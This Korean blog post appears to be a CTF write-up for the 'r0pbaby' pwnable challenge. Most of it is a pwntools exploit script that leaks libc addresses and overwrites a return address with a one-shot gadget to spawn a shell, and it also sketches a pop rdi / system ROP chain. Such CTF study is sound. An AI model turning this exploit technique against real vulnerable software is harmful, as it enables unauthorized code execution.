제목 그대로다.


magic gadget( 원샷가젯이라고도 한다.)이란 굉장히 편리한 가젯을 알게되어서 한번 r0pbaby에서 써보았다.

아래가 익스 코드... 사실 좀 필요없는 코드가 많긴한데, 그냥 가독성 좋으라고 함수로 추가해서 짜보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python
from pwn import *
import string
 
libc  = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
elf = ELF("./r0pbaby")
conn = process("./r0pbaby")
    
def get_func(func_name):
    conn.sendlineafter(":","2")
    conn.sendlineafter(":", func_name)
    conn.recvuntil(":")
    func_addr = conn.recvline().strip()
    func_addr = int(func_addr, 16)
    return func_addr
    
def oneshot_ret(addr, size):
    conn.sendlineafter(":","3")
    conn.sendlineafter(":",size)
    conn.sendline("A"*8+p64(addr))
    
print("")
oneshot_offset = 0x46428
 
conn.recvuntil("4) Exit")
system_addr = get_func("system")
 
offset = libc.symbols['system']
libc_base = system_addr-offset
 
oneshot_addr = libc_base + oneshot_offset
 
log.info("libc_base    : 0x%x " % libc_base)
log.info("system_addr  : 0x%x " % system_addr)
log.info("oneshot_addr : 0x%x " % oneshot_addr)
 
oneshot_ret(oneshot_addr ,"16")
conn.interactive()
 
cs

물론 평범하게 pop rdi 가젯 구하고 /bin/sh 문자열 위치도 구해서


"A"*8  |  pop rdi  |  &"/bin/sh"   |  system  


익스할 수도 있다. 뭐... 뭐가 편한지는 사람마다 다르니까 ㅇㅇ; 근데 원샷가젯이 한방에 풀려서 익스가 빨라서 좋긴하다... 굿굿

'Write-up > Pwnable' 카테고리의 다른 글

[34C3 CTF 2017] readme_revenge  (0) 2018.07.02
[Byte Bandits CTF] Tale of a Twisted Mind  (0) 2018.06.02
[Plaid CTF 2018] shop python solve code 2  (0) 2018.05.22
[Plaid CTF 2018] shop python solve code 1  (0) 2018.05.22
[CSAW '17 CTF] pilot  (0) 2018.04.30

+ Recent posts